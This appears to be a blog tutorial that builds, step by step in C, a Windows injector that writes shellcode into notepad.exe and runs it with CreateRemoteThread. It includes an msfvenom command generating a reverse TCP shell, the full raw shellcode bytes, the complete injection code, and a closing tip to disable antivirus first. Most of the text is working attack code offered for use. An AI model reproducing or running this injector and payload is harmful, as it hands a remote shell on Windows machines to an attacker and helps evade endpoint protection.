Shellcode Injection
In this blog post, we'll cover how to inject shellcode into a remote process in Windows.
Prerequisites
Coding experience with C/C++.
IDE (Visual Studio is preferred).
Take a Snapshot of Processes
To inject shellcode into a remote process, first we need to find all running processes. To do that, we need a way to take a snapshot of them at a time.
CreateToohelp32Snapshot
Takes a snapshot of the specified processes, as well as the heaps, modules, and threads used by these processes.
HANDLE CreateToolhelp32Snapshot(
[in] DWORD dwFlags,
[in] DWORD th32ProcessID
);
[in] DWORD dwFlags
The portions of the system to be included in the snapshot.
We need to take a snapshot of all process, so TH32CS_SNAPALL is what we need for dwFlags's value.
TH32CS_SNAPALL
Includes all processes and threads in the system, plus the heaps and modules of the process specified in th32ProcessID.
[in] DWORD th32ProcessID
The process identifier of the process to be included in the snapshot. This parameter can be zero to indicate the current process. This parameter is used when the TH32CS_SNAPHEAPLIST, TH32CS_SNAPMODULE, TH32CS_SNAPMODULE32, or TH32CS_SNAPALL value is specified. Otherwise, it is ignored and all processes are included in the snapshot.
This can be NULL.
Coding #1
Let's code what we learned until now.
#include <windows.h>
#include <TlHelp32.h>
/*
windows.h
- HANDLE => Is used as a reference.
- CloseHandle => Closes an open object handle.
TlHelp32.h
- CreateToohelp32Snapshot
- TH32CS_SNAPALL => Include all running processes.
*/
HANDLE takeSnapshot() {
// Let's take a snapshot of all running processes.
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
return snapshot;
}
int main(int argc, char** argv) {
HANDLE snapshot = takeSnapshot();
CloseHandle(snapshot);
return 0;
}
After taking a snapshot, we have to iterate all processes to find the process we need to inject shellcode.
notepad.exe is always installed in Windows, so we can demonstrate the injection process with that.
Process32First and Process32Next
Iteration starts with getting the first process with Process32First function. If a process is found, we can keep iterate all of them by using Process32Next function.
Process32First
Retrieves information about the first process encountered in a system snapshot.
BOOL Process32First(
[in] HANDLE hSnapshot,
[in, out] LPPROCESSENTRY32 lppe
);
Process32Next
Retrieves information about the next process recorded in a system snapshot.
BOOL Process32Next(
[in] HANDLE hSnapshot,
[out] LPPROCESSENTRY32 lppe
);
[in] HANDLE hSnapshot
A handle to the snapshot returned from a previous call to the CreateToolhelp32Snapshot function.
[in, out] LPROCESSENTRY32 lppe
A pointer to a PROCESSENTRY32 structure. It contains process information such as the name of the executable file, the process identifier, and the process identifier of the parent process.
PROCESSENTRY32
Describes an entry from a list of the processes residing in the system address space when a snapshot was taken.
Coding #2
Before we get into applying everything we covered, we need to understand the difference between utf-8 and utf-16 character space.
Normally if we want to compare 2 strings in C, we use strcmp function. The function takes 2 utf-8 strings and compare them. What if we want to compare 2 utf-16 strings?
We can use wcscmp function. The function name comes from "wide character string compare". Okay. We can now compare wide strings, but what if we want to print one of them?
We all know print("%s", myString) works well for utf-8 strings. In this case we can change %s to %ws.
Let's find notepad.exe's process ID.
Open a notepad before you try to find the process id.
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
/*
-- snippet --
windows.h
-- snippet --
- wcscmp => Compares 2 utf-16 strings.
- wchar_t => Is used for wide characters. (utf-16)
TlHelp32.h
-- snippet --
- Process32First
- Process32Next
*/
/*
We can return one of these:
- -1 => Process could not be found.
- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
/*
Let's create an empty process entry.
we'll assign this while we iterate the process list.
*/
PROCESSENTRY32 processEntry;
/*
The size of the structure, in bytes.Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32).
If you do not initialize dwSize, Process32First fails.
*/
processEntry.dwSize = sizeof(PROCESSENTRY32);
/*
Let's try to get the first process.
Process32First takes the snapshot and assigns the first process to processEntry.
*/
BOOL success = Process32First(snapshot, &processEntry);
// Check if have any problem with the process list.
if (!success)
return -2;
// Iterate while we still have a process to check.
while (success) {
/*
Let's check if we find a process with the name we supplied via processName parameter.
Remember, we need to compare utf-16 strings.
0 => Equal.
*/
if (wcscmp(processEntry.szExeFile, processName) == 0) {
// When we found the process, we need to return process id of the process.
return processEntry.th32ProcessID;
}
// We need to get the next process until either there is no left process or we find what we want.
success = Process32Next(snapshot, &processEntry);
}
}
HANDLE takeSnapshot() {
-- snippet --
}
int main(int argc, char** argv) {
HANDLE snapshot = takeSnapshot();
// We use TEXT function to specify utf-16 strings.
int processId = getProcessId(snapshot, TEXT("notepad.exe"));
printf("Process Id: %d\n", processId);
CloseHandle(snapshot);
return 0;
}
Output
Process Id: 16808
Interact with Remote Process
After we find the process id, we need to open the process remotely to allocate virtual memory and inject shellcode into the allocated memory space.
OpenProcess
Opens an existing local process object.
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
[in] DWORD dwDesiredAccess
The access to the process object. This access right is checked against the security descriptor for the process.
If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor.
We need full access to the remote process, so we have request PROCESS_ALL_ACCESS.
PROCESS_ALL_ACCESS
All possible access rights.
[in] BOOL bInheritHandle
If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle.
We can set it to FALSE in our case.
[in] DWORD dwProcessId
This will be the process id of notepad.exe.
Coding #3
Let's open the the process of notepad.exe.
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
/*
-- snippet --
TlHelp32.h
-- snippet --
- PROCESS_ALL_ACCESS => Request all the access of a process.
*/
/*
We can return one of these:
- -1 => process could not be found.
- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
// -- snippet --
}
HANDLE takeSnapshot() {
// Let's take a snapshot of all running processes.
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
return snapshot;
}
int main(int argc, char** argv) {
HANDLE snapshot = takeSnapshot();
// We use TEXT function to specify utf-16 strings.
int processId = getProcessId(snapshot, TEXT("notepad.exe"));
printf("Process Id: %d\n", processId);
CloseHandle(snapshot);
// We'll open the process of notepad.
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
CloseHandle(notepad);
return 0;
}
Allocate Virtual Memory
We opened the process of notepad.exe, now it's time to allocate a virtual memory space that fits our shellcode.
VirtualAllocEx
Reserves, commits, or changes the state of a region of memory within the virtual address space of a specified process.
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
[in] HANDLE hProcess
The handle to a process. The function allocates memory within the virtual address space of this process.
[in, optional] LPVOID lpAddress
The pointer that specifies a desired starting address for the region of pages that you want to allocate.
[in] SIZE_T dwSize
The size of the region of memory to allocate, in bytes.
[in] DWORD flAllocationType
The type of memory allocation.
We'll use MEM_COMMIT as a its value.
MEM_COMMIT
Allocates memory charges (from the overall size of memory and the paging files on disk) for the specified reserved memory pages. The function also guarantees that when the caller later initially accesses the memory, the contents will be zero. Actual physical pages are not allocated unless/until the virtual addresses are actually accessed.
[in] DWORD flProcect
The memory protection for the region of pages to be allocated. The pages must be committed to specify a value.
We need to read, write and also execute the memory space. So we'll use PAGE_EXECUTE_READWRITE as its value.
Coding #4
Let's generate reverse shell payload. Then allocate a virtual memory in notepad.exe to place the reverse shell.
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
/*
-- snippet --
windows.h
-- snippet --
- VirtualAllocEx => Allocates a virtual memory space in a remote process.
- LPVOID => Is a pointer to a void object.
- PAGE_EXECUTE_READWRITE
- MEM_COMMIT
-- snippet --
*/
/*
We can return one of these:
- -1 => Process could not be found.
- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
// -- snippet --
}
HANDLE takeSnapshot() {
// -- snippet --
}
int main(int argc, char** argv) {
HANDLE snapshot = takeSnapshot();
// We use TEXT function to specify utf-16 strings.
int processId = getProcessId(snapshot, TEXT("notepad.exe"));
printf("Process Id: %d\n", processId);
CloseHandle(snapshot);
// We'll open the process of notepad.
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
/*
msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f c
EXITFUNC=thread => Avoids to close the main process. (notepad.exe)
*/
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xbc\x8e\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
// Let's allocate the virtual memory space.
LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CloseHandle(notepad);
return 0;
}
Write Shellcode to The Remote Process
After we allocate a virtual memory space in notepad.exe, it's time to write the shellcode to the its destination.
WriteProcessMemory
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
[in] HANDLE hProcess
A handle to the process memory to be modified.
[in] LPVOID lpBaseAddress
A pointer to the base address in the specified process to which data is written.
[in] LPCVOID lpBuffer
A pointer to the buffer that contains data to be written in the address space of the specified process.
[in] SIZE_T nSize
The number of bytes to be written to the specified process.
[in] SIZE_T *lpNumberOfBytesWritten
A pointer to a variable that receives the number of bytes transferred into the specified process.
We don't need to a variable to keep track of recieved number of bytes. We'll set it to NULL.
Coding #5
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
/*
-- snippet --
windows.h
-- snippet --
- WriteProcessMemory
- LPCVOID => Is a 32-bit pointer to a constant of any type.
-- snippet --
*/
/*
We can return one of these:
- -1 => Process could not be found.
- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
// -- snippet --
}
HANDLE takeSnapshot() {
// -- snippet --
}
int main(int argc, char** argv) {
HANDLE snapshot = takeSnapshot();
// We use TEXT function to specify utf-16 strings.
int processId = getProcessId(snapshot, TEXT("notepad.exe"));
printf("Process Id: %d\n", processId);
CloseHandle(snapshot);
// We'll open the process of notepad.
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
/*
msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f c
EXITFUNC=thread => Avoids to close the main process. (notepad.exe)
*/
unsigned char shellcode[] = "-- snippet --";
// Let's allocate the virtual memory space.
LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (allocatedBuffer) {
// We'll write the reverse shell into the virtual memory space.
WriteProcessMemory(notepad, allocatedBuffer, shellcode, sizeof shellcode, NULL);
}
CloseHandle(notepad);
return 0;
}
Execute The Shellcode
At last, we need to create remote thread which will execute the reverse shell.
CreateRemoteThread
Creates a thread that runs in the virtual address space of another process.
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
[in] HANDLE hProcess
A handle to the process in which the thread is to be created.
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes
A pointer to a SECURITY_ATTRIBUTES structure that specifies a security descriptor for the new thread and determines whether child processes can inherit the returned handle. If lpThreadAttributes is NULL, the thread gets a default security descriptor and the handle cannot be inherited. The access control lists (ACL) in the default security descriptor for a thread come from the primary token of the creator.
We'll set it to NULL.
[in] SIZE_T dwStackSize
The initial size of the stack, in bytes. If this parameter is 0 (zero), the new thread uses the default size for the executable.
We don't need to deal with this. Just set it to 0.
[in] LPTHREAD_START_ROUTINE lpStartAddress
A pointer to the application-defined function of type LPTHREAD_START_ROUTINE to be executed by the thread and represents the starting address of the thread in the remote process.
This is going to be allocatedBuffer.
[in] LPVOID lpParameter
A pointer to a variable to be passed to the thread function.
We don't need parameters. Assign it to NULL.
[in] DWORD dwCreationFlags
The flags that control the creation of the thread.
0 => Run the thread immeditaly.
CREATE_SUSPENDED => Needs a manuel start.
We can use CREATE_SUSPENDED but we need to call ResumeThread function to start the thread.
Not to deal with this too, we can use 0 as its value.
[in] LPDWORD lpThreadId
A pointer to a variable that receives the thread identifier.
If this parameter is NULL, the thread identifier is not returned.
Coding #6
Here we go. We are at the last step. When we run the thread, we hopefully get a reverse shell.
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
/*
-- snippet --
windows.h
-- snippet --
- CreateRemoteThread
- LPSECURITY_ATTRIBUTES
- LPDWORD => Is a pointer to a DWORD.
-- snippet --
*/
/*
We can return one of these:
- -1 => Process could not be found.
- -2 => There is an issue with snapshot (empty list etc.)
*/
int getProcessId(HANDLE snapshot, wchar_t* processName) {
// -- snippet --
}
HANDLE takeSnapshot() {
// -- snippet --
}
int main(int argc, char** argv) {
HANDLE snapshot = takeSnapshot();
// We use TEXT function to specify utf-16 strings.
int processId = getProcessId(snapshot, TEXT("notepad.exe"));
printf("Process Id: %d\n", processId);
CloseHandle(snapshot);
// We'll open the process of notepad.
HANDLE notepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
/*
msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.x.y LPORT=4444 EXITFUNC=thread -f c
EXITFUNC=thread => Avoids to close the main process. (notepad.exe)
*/
unsigned char shellcode[] = "-- snippet --";
// Let's allocate the virtual memory space.
LPVOID allocatedBuffer = VirtualAllocEx(notepad, NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (allocatedBuffer) {
// We'll write the reverse shell into the virtual memory space.
WriteProcessMemory(notepad, allocatedBuffer, shellcode, sizeof shellcode, NULL);
// Execute shellcode by creating a remote thread.
CreateRemoteThread(notepad, NULL, 0, (LPTHREAD_START_ROUTINE)allocatedBuffer, NULL, 0, NULL);
}
CloseHandle(notepad);
return 0;
}
Make sure that you disabled the antivirus product before you try. We didn't do any antivirus evasion here.
Links
Last updated
Was this helpful?